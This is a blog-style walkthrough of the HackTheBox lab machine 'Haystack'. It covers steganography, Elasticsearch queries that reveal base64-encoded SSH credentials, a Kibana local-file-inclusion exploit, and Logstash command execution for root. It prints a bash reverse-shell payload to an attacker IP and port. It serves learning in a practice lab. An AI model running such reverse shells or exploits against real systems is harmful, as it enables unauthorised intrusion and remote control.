Haystack — HackTheBox

y4th0ts
y4th0ts
Nov 2 · 6 min read

Summary

Haystack is an easy rated box created by JoyDragon. The initial foothold is very CTF-like which made it harder for me to solve as I fell down a few rabbit holes before finally making progress. We gain initial foothold by extracting a hidden base64 string on a JPEG image and decoding it to uncover a hint to get user credentials. Using that clue, we will find these credentials in elasticsearch database JSON api running on port 9200 and use them to log in to SSH. Privilege escalation includes two parts. First part is accessing kibana on port 5601 by SSH tunneling and abuse a Local File Inclusion vulnerability to move laterally to ‘kibana’ user. The second part will be taking advantage of logstash which is executing commands as root.


Reconnaissance

We start by scanning for open ports and services using Nmap.

We see ports 22, 80 and 9200 open. Visiting port 80(http) brings us to a page with a JPEG image of a needle in a haystack.

I tried using the steghide tool to extract hidden files inside it but it did not work without a passphrase so I ran stegcracker with rockyou.txt as the wordlist and let it ran while I enumerate port 9200. Also ran a directory brute force in case there are other directories or pages that we can access through port 80.

Accessing port 9200 brings us to a JSON api of elasticsearch database. I had no prior knowledge on elasticsearch and logstash when I was trying to solve this box which is why I spent so much time reading documentations to familiarize myself with it. After a series of reading and googling, I returned to my terminal and checked on gobuster and stegcracker.

Unfortunately, I did not find anything and stegcracker also failed to brute force the JPEG image. After that, I decided to check the strings of the JPEG image and surprisingly, I found a base64 string at the end of the output.

The string decodes to ‘la aguja en el pajar es “clave”’. In english, ‘The needle in the haystack is “key”’. With that being said, I started to think that I will have to look for a really small piece of data in a database full of information that are of no use to me.


Elasticsearch Query Fuzzing

I continued reading docs about elasticsearch and found a way to send a search query request to the database. This can be done by using cURL but I used BurpSuite for easier fuzzing. I started by intercepting the request sent to “http://10.10.10.115:9200”

Normal GET request to “10.10.10.115:9200"
GET request with search query parameter

The first image is the intercepted request before the fuzzing. The second one is the fuzzed GET request. After adding ‘_search?q=key&prettyto the GET request and sending it, we will see the search result on the right panel.

Before searching for ‘key’, I tried various terms such as admin, password, user, etc. but did not find anything interesting.

When I searched for ‘key’, I got excited because it returned data about a person and his full name, email, and some more personal information. I thought maybe I just need to do trial and error on SSH login since this box is very CTF-like and the creator may just want to make the process longer but after more than 20 minutes on trying to login with different combinations, I decided to take a break and listen to Twice and Blackpink songs.

After a couple of songs, it came to my mind that ‘What if I need to search for the Spanish term instead of English?’ So I went and did another search query but this time, I searched for ‘clave’ instead of key.

Guess what?! I find more Spanish entries with base64 strings.

The first circle translates to ‘I have to save the key for the machine: dXNlcjogc2VjdXJpdHkg’

The lower circle translates to ‘This key can not be lost, I keep it here: cGFzczogc3BhbmlzaC5pcy5rZXk=’

Decoding these base64 strings will give us our credentials to log into SSH.

User: security, Password: spanish.is.key


Initial Shell

After logging in to ssh, we can grab our user flag and start enumerating for root.


Privilege Escalation

Part 1: Gaining shell as ‘kibana’ by exploiting outdated version of Kibana with a Local File Inclusion Vulnerability.

I started enumerating by running LinEnum.sh but unfortunately, I did not find anything so I ran a different enumeration script. This time, with linpeas.sh, I found something interesting. Kibana is running on port 5601 but only accessible on localhost which is why it wasn’t discovered during the Nmap scan. I successfully gained access to it by SSH tunneling.

SSH tunneling in order to gain access to kibana on port 5601

After visiting the kibana page, we can go to Management tab on the left panel to find out what version is running. I looked up the version on google and found out that it is vulnerable to Local File Inclusion.

https://github.com/mpgn/CVE-2018-17246 — Kibana LFI < 6.4.3 & 5.6.13

We can abuse this by uploading a JS reverse shell in the machine, starting a netcat listener, and executing our uploaded shell with the kibana page or cURL.

JS Reverse Shell

We now have a shell as ‘kibana’. From here we will run the linpeas.sh script again to enumerate as kibana user.

After running the script, we will find some configuration files that are owned by root but we have read access to. Also, we found out that logstash is running as a background process and is executing commands as root.

It took me a while to understand the connection between these three files and I am still a little confused about it so I apologize if I’m wrong.

But here is how I understand it. The input.conf has a variable ‘path’ which is anything named ‘logstash_*’ in the ‘/opt/kibana’ directory.

Filter.conf checks the file if it’s executable and if it is, it will execute the contents of the file in the “path” as long as the “message” matches ‘Ejecutar\s*comando\s* : <command>

The output.conf outputs the contents in structured JSON format, then it executes the command that is written in the ‘logstash_*’ file.

So I started my netcat listener, then created files and named them (logstash_1, logstash_2, etc.) then I did some trial and error before I figured out the right payload that will work for this exploit.

Payload = ‘Ejecutar comando “ bash -i >& /dev/tcp/10.10.14.7/4444 0>&1’

After waiting for a few seconds or minutes, our listener will pick up a connection and we can grab our root flag. That is it for haystack!

References

https://www.elastic.co/guide/index.html?ultron=[EL]-[B]-[AMER]-US+CA-Exact&blade=adwords-s&Device=c&thor=elasticsearch%20docs&gclid=Cj0KCQjwgNXtBRC6ARIsAIPP7RvH0Qy1D6K9N6vGD32nrtIcoQXBLycEbOHyMJ-Da7TKYer2ROJp7lsaAvqsEALw_wcB

y4th0ts

Written by

y4th0ts

InfoSec n00b who aims to get better everyday.

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade